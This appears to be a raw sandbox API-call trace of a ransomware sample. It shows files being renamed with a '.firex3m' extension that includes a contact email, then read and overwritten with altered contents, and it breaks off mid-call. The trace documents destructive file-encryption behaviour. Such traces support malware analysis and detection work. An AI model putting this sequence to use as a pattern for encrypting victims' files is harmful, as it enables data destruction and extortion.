Sleep (dwMilliseconds=0x1) [0080.960] Sleep (dwMilliseconds=0x1) [0080.975] Sleep (dwMilliseconds=0x1) [0080.992] Sleep (dwMilliseconds=0x1) [0081.001] Sleep (dwMilliseconds=0x1) [0081.029] Sleep (dwMilliseconds=0x1) [0081.052] Sleep (dwMilliseconds=0x1) [0081.283] Sleep (dwMilliseconds=0x1) [0081.435] Sleep (dwMilliseconds=0x1) [0081.528] Sleep (dwMilliseconds=0x1) [0081.553] Sleep (dwMilliseconds=0x1) [0081.568] Sleep (dwMilliseconds=0x1) [0081.579] Sleep (dwMilliseconds=0x1) [0081.603] Sleep (dwMilliseconds=0x1) [0081.610] Sleep (dwMilliseconds=0x1) [0081.631] Sleep (dwMilliseconds=0x1) [0081.662] Sleep (dwMilliseconds=0x1) [0081.689] Sleep (dwMilliseconds=0x1) [0081.711] Sleep (dwMilliseconds=0x1) [0081.756] Sleep (dwMilliseconds=0x1) [0081.777] Sleep (dwMilliseconds=0x1) [0081.788] Sleep (dwMilliseconds=0x1) [0081.834] Sleep (dwMilliseconds=0x1) [0081.847] Sleep (dwMilliseconds=0x1) [0081.887] Sleep (dwMilliseconds=0x1) [0081.913] Sleep (dwMilliseconds=0x1) [0081.923] Sleep (dwMilliseconds=0x1) [0081.948] Sleep (dwMilliseconds=0x1) [0081.964] Sleep (dwMilliseconds=0x1) [0081.974] Sleep (dwMilliseconds=0x1) [0081.983] Sleep (dwMilliseconds=0x1) [0082.006] Sleep (dwMilliseconds=0x1) [0082.032] Sleep (dwMilliseconds=0x1) [0082.054] Sleep (dwMilliseconds=0x1) [0082.065] Sleep (dwMilliseconds=0x1) [0082.116] Sleep (dwMilliseconds=0x1) [0082.128] Sleep (dwMilliseconds=0x1) [0082.155] Sleep (dwMilliseconds=0x1) [0082.196] Sleep (dwMilliseconds=0x1) [0082.214] Sleep (dwMilliseconds=0x1) [0082.233] Sleep (dwMilliseconds=0x1) [0082.258] Sleep (dwMilliseconds=0x1) [0082.277] Sleep (dwMilliseconds=0x1) [0082.293] Sleep (dwMilliseconds=0x1) [0082.310] Sleep (dwMilliseconds=0x1) [0082.370] Sleep (dwMilliseconds=0x1) [0082.419] Sleep (dwMilliseconds=0x1) [0082.540] Sleep (dwMilliseconds=0x1) [0082.590] Sleep (dwMilliseconds=0x1) [0082.635] Sleep (dwMilliseconds=0x1) [0082.684] Sleep (dwMilliseconds=0x1) [0082.727] Sleep (dwMilliseconds=0x1) [0082.777] Sleep (dwMilliseconds=0x1) [0082.821] Sleep (dwMilliseconds=0x1) [0082.871] Sleep (dwMilliseconds=0x1) [0082.915] Sleep (dwMilliseconds=0x1) [0082.969] Sleep (dwMilliseconds=0x1) [0083.015] Sleep (dwMilliseconds=0x1) [0083.056] Sleep (dwMilliseconds=0x1) [0083.102] Sleep (dwMilliseconds=0x1) [0083.151] Sleep (dwMilliseconds=0x1) [0083.200] Sleep (dwMilliseconds=0x1) [0083.243] Sleep (dwMilliseconds=0x1) [0083.292] Sleep (dwMilliseconds=0x1) [0083.338] Sleep (dwMilliseconds=0x1) [0083.384] Sleep (dwMilliseconds=0x1) [0083.437] Sleep (dwMilliseconds=0x1) [0083.702] Sleep (dwMilliseconds=0x1) [0083.752] Sleep (dwMilliseconds=0x1) [0083.801] Sleep (dwMilliseconds=0x1) [0083.914] Sleep (dwMilliseconds=0x1) [0084.012] Sleep (dwMilliseconds=0x1) [0084.094] Sleep (dwMilliseconds=0x1) [0084.201] Sleep (dwMilliseconds=0x1) [0084.344] Sleep (dwMilliseconds=0x1) [0084.737] Sleep (dwMilliseconds=0x1) [0084.812] Sleep (dwMilliseconds=0x1) [0084.876] Sleep (dwMilliseconds=0x1) [0084.962] Sleep (dwMilliseconds=0x1) [0085.045] Sleep (dwMilliseconds=0x1) [0085.126] Sleep (dwMilliseconds=0x1) [0085.175] Sleep (dwMilliseconds=0x1) [0085.347] Sleep (dwMilliseconds=0x1) [0085.389] Sleep (dwMilliseconds=0x1) [0085.737] Sleep (dwMilliseconds=0x1) [0085.830] Sleep (dwMilliseconds=0x1) [0085.964] Sleep (dwMilliseconds=0x1) [0086.082] Sleep (dwMilliseconds=0x1) [0086.187] Sleep (dwMilliseconds=0x1) [0086.236] Sleep (dwMilliseconds=0x1) [0086.294] Sleep (dwMilliseconds=0x1) [0086.351] Sleep (dwMilliseconds=0x1) [0086.588] Sleep (dwMilliseconds=0x1) [0086.897] Sleep (dwMilliseconds=0x1) [0087.092] Sleep (dwMilliseconds=0x1) [0087.471] Sleep (dwMilliseconds=0x1) [0088.066] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1032\\eula.rtf", len=0x23 | out: pbstr=0x6d7ff7c*="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 1 [0088.066] GetProcessHeap () returned 0x630000 [0088.066] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1268, Size=0xc) returned 0x6b12b0 [0088.066] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0088.210] CloseHandle (hObject=0x68c) returned 1 [0088.210] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.211] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.211] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.211] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d54c0 [0088.211] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0088.212] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0088.212] GetProcessHeap () returned 0x630000 [0088.212] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x22c1) returned 0x6ec728 [0088.212] GetProcessHeap () returned 0x630000 [0088.212] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x22c1) returned 0x6ee9f8 [0088.212] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.212] ReadFile (in: hFile=0x68c, lpBuffer=0x6ec728, nNumberOfBytesToRead=0x22a0, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec728*, lpNumberOfBytesRead=0x6d7ff0c*=0x22a0, lpOverlapped=0x0) returned 1 [0088.459] GetProcessHeap () returned 0x630000 [0088.459] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0088.459] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.459] WriteFile (in: hFile=0x68c, lpBuffer=0x6ee9f8*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee9f8*, lpNumberOfBytesWritten=0x6d7ff0c*=0x22a0, lpOverlapped=0x0) returned 1 [0088.460] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.460] WriteFile (in: hFile=0x68c, lpBuffer=0x6f0c97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0c97*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0088.460] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.460] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0088.460] CloseHandle (hObject=0x68c) returned 1 [0088.461] GetProcessHeap () returned 0x630000 [0088.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee9f8 | out: hHeap=0x630000) returned 1 [0088.461] GetProcessHeap () returned 0x630000 [0088.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec728 | out: hHeap=0x630000) returned 1 [0088.461] GetProcessHeap () returned 0x630000 [0088.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0088.461] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.461] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfaabdf16, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x22d0, dwReserved0=0x9f87496, dwReserved1=0x6ec720, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5340 [0088.461] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0088.462] Sleep (dwMilliseconds=0x1) [0089.760] Sleep (dwMilliseconds=0x1) [0090.979] Sleep (dwMilliseconds=0x1) [0092.104] Sleep (dwMilliseconds=0x1) [0093.784] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", len=0x28 | out: pbstr=0x6d7ff7c*="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 1 [0093.784] GetProcessHeap () returned 0x630000 [0093.784] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8498, Size=0x5c) returned 0x6e85d0 [0093.784] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0093.785] CloseHandle (hObject=0x690) returned 1 [0093.785] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.785] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.785] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.786] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPI~1.FIR")) returned 0x6d53c0 [0093.786] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0093.786] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0093.786] GetProcessHeap () returned 0x630000 [0093.786] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8f81) returned 0x6f22138 [0093.786] GetProcessHeap () returned 0x630000 [0093.786] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8f81) returned 0x6f2b0c8 [0093.786] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.786] ReadFile (in: hFile=0x690, lpBuffer=0x6f22138, nNumberOfBytesToRead=0x8f60, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f22138*, lpNumberOfBytesRead=0x6d7ff0c*=0x8f60, lpOverlapped=0x0) returned 1 [0099.522] GetProcessHeap () returned 0x630000 [0099.522] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0099.522] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.523] WriteFile (in: hFile=0x690, lpBuffer=0x6f2b0c8*, nNumberOfBytesToWrite=0x8f60, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f2b0c8*, lpNumberOfBytesWritten=0x6d7ff0c*=0x8f60, lpOverlapped=0x0) returned 1 [0099.523] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.523] WriteFile (in: hFile=0x690, lpBuffer=0x6f34027*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f34027*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0099.523] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.523] WriteFile (in: hFile=0x690, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0099.523] CloseHandle (hObject=0x690) returned 1 [0099.525] GetProcessHeap () returned 0x630000 [0099.525] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2b0c8 | out: hHeap=0x630000) returned 1 [0099.525] GetProcessHeap () returned 0x630000 [0099.525] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f22138 | out: hHeap=0x630000) returned 1 [0099.526] GetProcessHeap () returned 0x630000 [0099.526] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0099.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0099.526] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x1441e4e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8f8a, dwReserved0=0x9f87496, dwReserved1=0x6f22130, cFileName="Setup.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPI~1.FIR")) returned 0x6d4f00 [0099.526] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0099.526] Sleep (dwMilliseconds=0x1) [0100.883] Sleep (dwMilliseconds=0x1) [0101.553] Sleep (dwMilliseconds=0x1) [0102.200] Sleep (dwMilliseconds=0x1) [0102.400] Sleep (dwMilliseconds=0x1) [0102.570] Sleep (dwMilliseconds=0x1) [0102.782] Sleep (dwMilliseconds=0x1) [0102.984] Sleep (dwMilliseconds=0x1) [0103.135] Sleep (dwMilliseconds=0x1) [0103.268] Sleep (dwMilliseconds=0x1) [0103.545] Sleep (dwMilliseconds=0x1) [0105.075] Sleep (dwMilliseconds=0x1) [0107.172] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", len=0x50 | out: pbstr=0x6d7ff7c*="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 1 [0107.172] GetProcessHeap () returned 0x630000 [0107.172] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9008, Size=0x18) returned 0x6b0178 [0107.172] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0107.215] CloseHandle (hObject=0x6a0) returned 1 [0107.215] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.215] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0107.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0107.216] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x2001517, dwReserved1=0x330078, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI2EC5~1.FIR")) returned 0x6d5400 [0107.216] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0107.217] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0107.217] GetProcessHeap () returned 0x630000 [0107.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7260b30 [0107.217] GetProcessHeap () returned 0x630000 [0107.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x726bf60 [0107.218] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.219] ReadFile (in: hFile=0x6a0, lpBuffer=0x7260b30, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7260b30*, lpNumberOfBytesRead=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.895] GetProcessHeap () returned 0x630000 [0113.895] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0113.895] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.895] WriteFile (in: hFile=0x6a0, lpBuffer=0x726bf60*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726bf60*, lpNumberOfBytesWritten=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.896] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.896] WriteFile (in: hFile=0x6a0, lpBuffer=0x727735f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727735f*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0113.900] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.900] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0113.900] CloseHandle (hObject=0x6a0) returned 1 [0113.926] GetProcessHeap () returned 0x630000 [0113.926] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726bf60 | out: hHeap=0x630000) returned 1 [0113.926] GetProcessHeap () returned 0x630000 [0113.926] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7260b30 | out: hHeap=0x630000) returned 1 [0113.927] GetProcessHeap () returned 0x630000 [0113.927] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0113.927] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0113.927] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9da74ef, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x101024, dwReserved0=0x9f87496, dwReserved1=0x7260b28, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI2EC5~1.FIR")) returned 0x6d5240 [0113.928] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0113.928] Sleep (dwMilliseconds=0x1) [0114.319] Sleep (dwMilliseconds=0x1) [0114.883] Sleep (dwMilliseconds=0x1) [0115.140] Sleep (dwMilliseconds=0x1) [0115.498] Sleep (dwMilliseconds=0x1) [0115.907] Sleep (dwMilliseconds=0x1) [0117.155] Sleep (dwMilliseconds=0x1) [0117.169] Sleep (dwMilliseconds=0x1) [0117.185] Sleep (dwMilliseconds=0x1) [0117.562] Sleep (dwMilliseconds=0x1) [0117.656] Sleep (dwMilliseconds=0x1) [0117.678] Sleep (dwMilliseconds=0x1) [0117.687] Sleep (dwMilliseconds=0x1) [0117.702] Sleep (dwMilliseconds=0x1) [0117.719] Sleep (dwMilliseconds=0x1) [0119.289] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", len=0x31 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 1 [0119.289] GetProcessHeap () returned 0x630000 [0119.289] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x154) returned 0x66a3e0 [0119.289] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0119.289] CloseHandle (hObject=0x6bc) returned 1 [0119.289] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), 